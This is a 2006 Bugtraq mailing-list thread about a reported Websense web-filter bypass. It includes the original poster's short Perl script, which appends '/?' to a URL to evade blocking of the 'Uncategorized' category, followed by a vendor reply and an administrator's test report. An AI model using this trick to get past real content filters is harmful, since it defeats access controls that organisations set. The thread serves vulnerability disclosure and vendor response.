bugtraq - RE: [BULK] - Websense Filter Bypass

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Message-ID: <FAD07D8141486544812A0EF18396FC8B236ADD@parc-server-4.PARC.local>
Date: Fri, 21 Apr 2006 15:33:27 -0400
From: "John E. Fleming" <John@...cassets.com>
To: "Hubbard, Dan" <dhubbard@...sense.com>, <qex@...mail.org>,
	<bugtraq@...urityfocus.com>
Subject: RE: [BULK] - Websense Filter Bypass

We did a test as well and were still blocked. Simply add a "?" question
mark correct? We put www.ibm.com in the "uncategorized" category as a
test. Websense version we are using is 6.1

We block uncategorized and allow dynamic.

John 

-----Original Message-----
From: Hubbard, Dan [mailto:dhubbard@...sense.com] 
Sent: Friday, April 21, 2006 1:12 PM
To: qex@...mail.org; bugtraq@...urityfocus.com
Subject: RE: [BULK] - Websense Filter Bypass

All;

We have received this report and are investigating. Our preliminary
tests show that this only works when customers block the uncategorized
URL category and allow the dynamic content category.

If you do not block uncategorized you should not be affected. 

-----Original Message-----
From: qex@...mail.org [mailto:qex@...mail.org] 
Sent: Thursday, April 20, 2006 5:04 AM
To: bugtraq@...urityfocus.com
Subject: [BULK] - Websense Filter Bypass

#!/usr/bin/perl -w
#
# Websense Filter Bypass
#
# ====================
# Discovered by: Qex
# Date: 19 April 2006
# ====================
#
# Bypass any website that is in the "Uncategorized" Websense Category #
simply by adding a question mark (?) at the end of the URL.

print q(
Websense Filter Bypass

====================
Discovered by: Qex
Date: 19 April 2006
====================
)

print "Enter URL:\n";

$url = <STDIN>;

chomp $url;

$bypass = "$url/?";

print "\nURL: \n$bypass\n";

View attachment "John E. Fleming.vcf" of type "text/x-vcard" (506 bytes)